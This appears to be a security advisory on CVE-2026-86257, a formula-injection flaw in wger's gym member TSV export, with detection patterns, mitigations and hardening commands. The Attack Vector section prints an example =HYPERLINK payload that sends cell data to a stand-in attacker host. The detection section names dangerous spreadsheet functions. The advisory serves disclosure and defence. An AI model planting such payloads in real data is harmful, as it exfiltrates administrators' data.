CVE-2026-86257: wger Gym Management XSS Vulnerability

CVE-2026-86257 Overview

CVE-2026-86257 is a CSV formula injection vulnerability in wger, an open-source fitness and workout management platform. Versions before 2.6 fail to sanitize the first_name and last_name fields exposed by the gym member TSV export endpoint. Any authenticated gym member can inject spreadsheet formulas into their profile data. When an administrator later exports the member roster and opens the file in Microsoft Excel or LibreOffice Calc, those formulas execute in the admin's context. The flaw is classified under [CWE-1236] Improper Neutralization of Formula Elements in a CSV File.

Critical Impact
Attackers can inject payloads such as =HYPERLINK() to exfiltrate administrator data or trigger code execution when the exported TSV file is opened in a spreadsheet application.

Affected Products

wger (open-source fitness manager) versions prior to 2.6
Gym member TSV export endpoint in the wger web application
Administrator workstations running Microsoft Excel or LibreOffice Calc that open exported files

Discovery Timeline

2026-09-06 - CVE-2026-86257 published to the National Vulnerability Database
2026-09-08 - Last updated in NVD database

Technical Details for CVE-2026-86257

Vulnerability Analysis

The wger platform allows gym administrators to export member data as a tab-separated values (TSV) file. The export routine copies user-controlled first_name and last_name fields directly into cells without neutralizing leading formula characters. Spreadsheet applications interpret cells beginning with =, +, -, @, or tab and carriage return control characters as formulas rather than literal strings. This turns a routine data export into a client-side attack channel against privileged users.

Exploitation requires low privileges because any registered gym member can edit their own profile. The attack completes only when an administrator opens the exported file, which satisfies the user interaction requirement in the CVSS 4.0 vector. Impact is confined to the subsequent (spreadsheet) system rather than the wger server itself.

Root Cause

The export handler serializes profile fields to TSV without applying a formula-injection prefix (such as a leading single quote or tab) and without stripping dangerous leading characters. The application treats name fields as plain text within the wger UI, so the injection payload remains latent until it reaches a spreadsheet parser that assigns semantic meaning to =, +, -, and @.

Attack Vector

A malicious gym member updates their profile so that first_name or last_name contains a formula payload. Payloads such as =HYPERLINK("https://attacker.example/?d="&A1,"Click") embed the value of adjacent cells into an outbound request when the admin clicks the rendered link. More aggressive payloads on unpatched spreadsheet configurations can invoke DDE, launch external processes, or import remote content. The attacker never needs direct access to the administrator's machine; the export workflow delivers the payload.

The vulnerability mechanism is described in the wger GitHub Security Advisory and the VulnCheck advisory for CSV formula injection.

Detection Methods for CVE-2026-86257

Indicators of Compromise

Gym member profile fields whose first_name or last_name values begin with =, +, -, @, tab (\t), or carriage return (\r).
Exported TSV files from the wger member endpoint containing spreadsheet functions such as HYPERLINK, IMPORTXML, WEBSERVICE, DDE, or cmd.
Outbound network requests from administrator workstations to unknown domains immediately after opening a wger member export.

Detection Strategies

Scan the wger database for user records where the name fields match the regular expression ^[=+\-@\t\r].
Add server-side logging on the TSV export endpoint to record which administrator downloaded which roster and when.
Deploy endpoint telemetry rules that flag Excel or LibreOffice spawning child processes such as cmd.exe, powershell.exe, or soffice shell handlers shortly after opening a .tsv or .csv file.

Monitoring Recommendations

Alert on spreadsheet applications making outbound HTTP requests to non-corporate domains.
Review audit trails for profile updates that modify name fields to values containing formula operator characters.
Correlate wger export events with proxy and DNS logs to catch data exfiltration via HYPERLINK or WEBSERVICE callbacks.

How to Mitigate CVE-2026-86257

Immediate Actions Required

Upgrade wger to version 2.6 or later, which sanitizes exported name fields.
Audit existing gym member records and neutralize any name values starting with formula characters before performing new exports.
Instruct administrators to open exported rosters in a text editor or a spreadsheet configured with formulas disabled until the upgrade is complete.

Patch Information

The wger maintainers addressed the issue in release 2.6. Refer to the wger GitHub Security Advisory GHSA-xq9m-hmp9-fw87 for the fixed commit and upgrade instructions. No official CPE entries are published in NVD at the time of writing.

Workarounds

Prefix any exported cell that begins with =, +, -, or @ with a single quote (') or a leading tab so spreadsheet applications treat the content as text.
Restrict the TSV export endpoint to trusted administrator accounts and disable self-service member profile editing where feasible.
Configure Microsoft Excel and LibreOffice Calc to disable Dynamic Data Exchange (DDE), external links, and automatic hyperlink activation via Group Policy or registrymodifications.xcu.

bash

# Configuration example: upgrade wger and validate the fix
pip install --upgrade 'wger>=2.6'

# Group Policy hardening for Excel (disable DDE and external content)
reg add "HKCU\Software\Policies\Microsoft\Office\16.0\Excel\Security" /v WorkbookLinkWarnings /t REG_DWORD /d 2 /f
reg add "HKCU\Software\Policies\Microsoft\Office\16.0\Excel\Security" /v DisableDDEServerLaunch /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Office\16.0\Excel\Security" /v DisableDDEServerLookup /t REG_DWORD /d 1 /f